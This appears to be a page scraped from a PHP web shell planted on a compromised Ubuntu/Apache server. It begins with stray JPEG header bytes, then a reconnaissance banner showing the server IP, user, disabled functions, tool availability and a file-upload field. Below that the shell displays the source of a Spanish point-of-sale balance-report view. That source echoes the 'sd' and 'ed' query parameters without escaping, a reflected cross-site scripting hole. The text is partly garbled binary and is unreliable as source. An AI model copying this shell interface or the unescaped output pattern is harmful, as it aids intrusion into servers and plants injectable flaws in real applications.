����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 3.139.86.227 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/muebles/pos11/core/app/view/ |
Upload File : |
<section class="content-header"> <h1><h1>Balance General (Version Reducida)</h1></h1> <ol class="breadcrumb"> <li><a href="#"><i class="fa fa-dashboard"></i> Reportes</a></li> <li class="active">Balance</li> </ol> </section> <section class="content"> <div class="box box-primary"> <div class="box-header"> <h3 class="box-title">Debe seleccionar un folio para visualizar su reporte de la venta.</h3> </div><!-- /.box-header --> <div class="box-body"> <div class="row"> <div class="col-md-12"> <form> <input type="hidden" name="view" value="balance"> <div class="row"> <div class="col-md-4"> </div> <div class="col-md-3"> <input type="date" name="sd" value="<?php if(isset($_GET["sd"])){ echo $_GET["sd"]; }?>" class="form-control"> </div> <div class="col-md-3"> <input type="date" name="ed" value="<?php if(isset($_GET["ed"])){ echo $_GET["ed"]; }?>" class="form-control"> </div> <div class="col-md-2"> <input type="submit" class="btn btn-success btn-block" value="Procesar"> </div> </div> <!-- <br> <div class="row"> <div class="col-md-4"> <select name="mesero_id" class="form-control"> <option value="">-- MESEROS --</option> <?php foreach($meseros as $p):?> <option value="<?php echo $p->id;?>"><?php echo $p->name;?></option> <?php endforeach; ?> </select> </div> <div class="col-md-4"> <select name="operation_type_id" class="form-control"> <option value="1">VENTA</option> </select> </div> </div> --> </form> </div> </div> <br><!--- --> <div class="row"> <div class="col-md-12"> <?php if(isset($_GET["sd"]) && isset($_GET["ed"]) ):?> <?php if($_GET["sd"]!=""&&$_GET["ed"]!=""): $sd = strtotime($_GET["sd"]); $ed = strtotime($_GET["ed"]); ?> <div class="box box-primary"> <div id="graph" class="animate" data-animate="fadeInUp" ></div> </div> <script> <?php echo "var c=0;"; echo "var dates=Array();"; echo "var data=Array();"; echo "var total=Array();"; for($i=$sd;$i<=$ed;$i+=(60*60*24)){ $operations = SellData::getGroupByDateOp(date("Y-m-d",$i),date("Y-m-d",$i),2); $res = ReData::getGroupByDateOp(date("Y-m-d",$i),date("Y-m-d",$i),1); $spends = SpendGData::getGroupByDateOp(date("Y-m-d",$i),date("Y-m-d",$i)); // echo $operations[0]->t; $sr = $res[0]->tot!=null?$res[0]->tot:0; $sl = $operations[0]->t!=null?$operations[0]->t:0; $sp = $spends[0]->t!=null?$spends[0]->t:0; echo "dates[c]=\"".date("Y-m-d",$i)."\";"; echo "data[c]=".($sl-($sp+$sr)).";"; echo "total[c]={x: dates[c],y: data[c]};"; echo "c++;"; } ?> // Use Morris.Area instead of Morris.Line Morris.Area({ element: 'graph', data: total, xkey: 'x', ykeys: ['y',], labels: ['Y'] }).on('click', function(i, row){ console.log(i, row); }); </script> <div class="box box-primary"> <table class="table table-bordered"> <thead> <th>Fecha</th> <th>Ventas</th> <th>Abastecimientos</th> <th>Gastos</th> <th>Ganancia</th> </thead> <?php $restotal=0; $selltotal = 0; $spendtotal = 0; for($i=$sd;$i<=$ed;$i+=(60*60*24)): $operations = SellData::getGroupByDateOp(date("Y-m-d",$i),date("Y-m-d",$i),2); $res = ReData::getGroupByDateOp(date("Y-m-d",$i),date("Y-m-d",$i),1); $spends = SpendGData::getGroupByDateOp(date("Y-m-d",$i),date("Y-m-d",$i)); ?> <?php if(count($operations)>0):?> <?php ?> <?php// foreach($operations as $operation):?> <tr> <td><?php echo date("Y-m-d",$i); ?></td> <td>$ <?php echo number_format($operations[0]->t,2,'.',','); ?></td> <td>$ <?php echo number_format($res[0]->tot,2,'.',','); ?></td> <td>$ <?php echo number_format($spends[0]->t,2,'.',','); ?></td> <td>$ <?php echo number_format($operations[0]->t-($spends[0]->t+$res[0]->tot),2,'.',','); ?></td> </tr> <?php $restotal+= ($res[0]->tot); $selltotal+= ($operations[0]->t); $spendtotal+= ($spends[0]->t); // endforeach; ?> <?php else: ?> <div class="jumbotron"> <h2>No hay operaciones</h2> <p>El rango de fechas seleccionado no proporciono ningun resultado de operaciones.</p> </div> <?php endif; ?> <?php endfor;?> <tr> <td align="right"><h5><u>Totales:<u></h5></td> <td><h5><u>$ <?php echo number_format($selltotal,2,'.',','); ?><u></h5></td> <td><h5><u>$ <?php echo number_format($restotal,2,'.',','); ?><u></h5></td> <td><h5><u>$ <?php echo number_format($spendtotal,2,'.',','); ?><u></h5></td> <td><h5><strong><u>$ <?php echo number_format($selltotal-($spendtotal+$restotal),2,'.',','); ?><u></strong></h5></td> </tr> </table> </div> <?php else:?> <div class="jumbotron"> <h2>Fecha Incorrectas</h2> <p>Puede ser que no selecciono un rango de fechas, o el rango seleccionado es incorrecto.</p> </div> <?php endif;?> <?php endif; ?> </div> </div> </div> </div> </section>